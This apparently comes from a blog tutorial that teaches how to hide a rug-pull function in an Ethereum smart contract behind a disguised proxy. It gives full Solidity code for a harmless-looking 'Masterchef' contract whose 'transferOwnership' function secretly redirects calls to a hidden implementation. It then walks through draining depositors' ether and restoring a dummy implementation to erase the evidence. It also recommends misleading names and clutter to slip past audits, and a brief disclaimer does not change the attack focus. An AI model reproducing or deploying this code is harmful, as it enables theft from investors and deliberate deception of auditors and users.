You shouldn’t trust everything in Etherscan: Hidden function
We have deployed an example contract at 0x96de8CA0aB2c29d8dB7C99EA02FEe8faA79a0898 Can you think of a way to rug-pull this contract? If you have no idea, this blog will show you! Sometimes, this kind of contract may pass the audit too!
You can hide any function from Etherscan by utilizing a proxy. This way, rug pullers can hide their rug pull switch from the Etherscan. The contract will look legit and verified. You may fall victim to this rug pull if you don’t notice a single word. That single word allows a contract to become a proxy, allowing the owner to add arbitrary functions after the contract has been deployed.
Typically, smart contracts are immutable. We can’t modify any functions in the smart contract after deployment. However, we can set storage variables. So, there exists a special kind of contract, a Proxy, utilizing storage variables to determine where the function’s implementation is. In other words, a Proxy acts just like a pointer. As a result, a Proxy contract can be updated later by deploying a new implementation contract and pointing the Proxy to the newly deployed implementation contract.
Multiple patterns convert a contract to a proxy capable of adding arbitrary functions after deployment. Let’s discuss this in the next section.
Smart contract’s function-hiding patterns
We turn a smart contract into a proxy to prevent Etherscan from discovering a function. First, let’s deploy a dummy implementation contract that has nothing to do with a proxy. You can use Remix IDE to deploy it. The contract’s source code can be found below.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Masterchef {
ERC20 public someToken = ERC20(0x70a382bf668513E3147697Dc408a92efD31A38e4);
function deposit() public payable {
// Just deposit ETH ... omit any state update for demonstration
}
}
Record the dummy implementation contract address. You may need to use it in further steps. Our deployment is at 0x39edac76da34c395c997dd6606b6fc40403cee59.
There are numerous ways to accomplish the goal. We will focus on the most significant ones.
Extending the TransparentUpgradeableProxy
Extending the TransparentUpgradeableProxy is the best and easiest way to turn a smart contract into a proxy. Moreover, it looks transparent. Typical people with less technical knowledge never notice smelly things while looking through the code.
To get started, create two files as follow and change the implementation address to the one you have deployed above.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MasterchefBase.sol";
contract Masterchef is MasterchefBase {
ERC20 public someToken = ERC20(0x70a382bf668513E3147697Dc408a92efD31A38e4);
function deposit() public payable {
// Just deposit ETH ... omit any state update for demonstration
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
// Input your deployed implementation
address constant IMPLEMENTATION = 0x39edaC76Da34c395c997Dd6606b6fC40403ceE59;
contract MasterchefBase is TransparentUpgradeableProxy {
constructor()
TransparentUpgradeableProxy(
IMPLEMENTATION,
msg.sender,
""
)
{}
}
Next, deploy the Masterchef contract. Once you have deployed the contract, verify the contract and take a look at Etherscan. On the write contract page, the rug pull function never exists as we defer to add it in the future. However, Etherscan may warn the user that this contract may be a proxy. Write contract page contains many suspicious functions exposed by the TransparentUpgradeableProxy too.
We have deployed an example contract at 0x88B0d060022257285f19334Aa8213483f646bD8f in case you don’t want to deploy it.
Implementing a custom fallback
The core logic of a proxy lies in the fallback function. The fallback function is a function that is automatically executed if there isn’t any function matching the selector in the call data. You can implement the fallback function to delegate the call to the implementation contract. A delegate call is a special contract calling that executes the logic in the target contract without changing the execution context (Read an example in the “how to perform a rug pull section” below).
To get started, create two files as follows.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MasterchefCore.sol";
contract Masterchef is MasterchefCore {
ERC20 public someToken = ERC20(0x70a382bf668513E3147697Dc408a92efD31A38e4);
function deposit() public payable {
// Just deposit ETH ... omit any state update for demonstration
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MasterchefCore {
address private impl;
address public owner;
constructor() {
owner = msg.sender;
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner, "Not owner");
impl = newOwner;
}
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_delegate(impl);
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
}
Next, deploy the Masterchef contract. Once you have deployed the contract, verify the contract and take a look at Etherscan. On the write contract page, the rug pull function never exists as we defer to add it in the future. There aren’t any suspicious functions on the write contract page. However, Etherscan still warns the user that this contract may be a proxy.
This version is better than the previous one as it doesn’t expose suspicious functions, so that we will use it in the following sections.
We have deployed an example contract at 0x96de8CA0aB2c29d8dB7C99EA02FEe8faA79a0898 in case you don’t want to deploy it.
Why using two files instead of one?
Two files will allow us to separate the primary one, which shouldn’t contain any proxy logic, from the other, which will store the proxy logic. We must also give each of them a name that has no relation to the Proxy.
Making smart contract development chaotic and convoluted is another tactic that significantly reduces the likelihood of being discovered. In this case, we import ERC-20 to make it messy after verifying it.
Let’s put some ether in!
Here, we have developed an example contract capable of adding arbitrary functions after deployment using a Proxy. As mentioned above, we will use the custom fallback version since it is better. Our example contract is deployed at 0x96de8CA0aB2c29d8dB7C99EA02FEe8faA79a0898. However, you should deploy your own contract to follow up on the walkthrough. It’s possible to deploy and verify it using Remix IDE.
After you have deployed your contract, switch to another wallet, and execute the “depositNative” function with pool ID 0 and some ether value. Your ether will get deposited into the MasterChef contract.
Let’s rug-pull your recently deposited ethers together in the next section!
How to perform a rug pull?
First, the owner deploys the implementation contract. In this case, an implementation contract is a contract that contains the logic of the “rugPull” function. You should also deploy it to follow up on the walkthrough. It can be implemented as follow.
In general, we don’t verify this contract since it contains information that we don’t want the general public to know.
Second, input the implementation contract by executing the “transferOwnership” function, passing the implementation contract address you have just deployed.
Next, executing the “rugPull” function will perform the fallback function, which then delegates the call to the malicious implementation contract. Since it is a delegate call, it will transfer ethers out of the Masterchef contract (Masterchef is the one who delegates call the “rug pull” logic). We have made an example transaction here.
As it is hidden, you can’t execute the “rugPull” function via Remix IDE and Etherscan. The “rugPull” function doesn’t exist in the Masterchef’s ABI. To execute it, you should use Laika to execute a custom function that doesn’t exist in the Masterchef’s ABI. Follow these steps:
After you have executed the “rugPull” function, you will notice that every ether in this contract gets transferred to your deployer wallet. You can see this in our example transaction. This means rug pull is successful!
Now, you have just committed a rug pull event. Don’t do this in the real life or you will be flagged as a criminal and your life will end up in jail.
Head over to the Etherscan of the Masterchef contract. The “rugPull” function doesn’t show up. People will start to wonder how you can call the “rugPull” function that doesn’t even exist to rug pull their money. But you know, this is the Proxy’s magic.
Clean up the mess
Remind that you have updated the implementation contract to the one that has a rug pull function. If someone verifies the proxy contract on the Etherscan later, it may show the rug pull function you have created. To prevent this, update the implementation to the dummy implementation contract (Our deployment: 0x39edac76da34c395c997dd6606b6fc40403cee59).
This can be done by executing the “transferOwnership” function and passing the dummy implementation contract address.
Summary
Bad people can adopt a proxy to hide dangerous functions from Etherscan. It isn’t easily detected. Moreover, it may pass some audits. The most viable use case of this technique is to rug pull. We have given two examples of implementing this kind of contract: Extending the TransparentUpgradeableProxy and Implementing a custom fallback. We also provide an example of committing a rug pull using this kind of contract.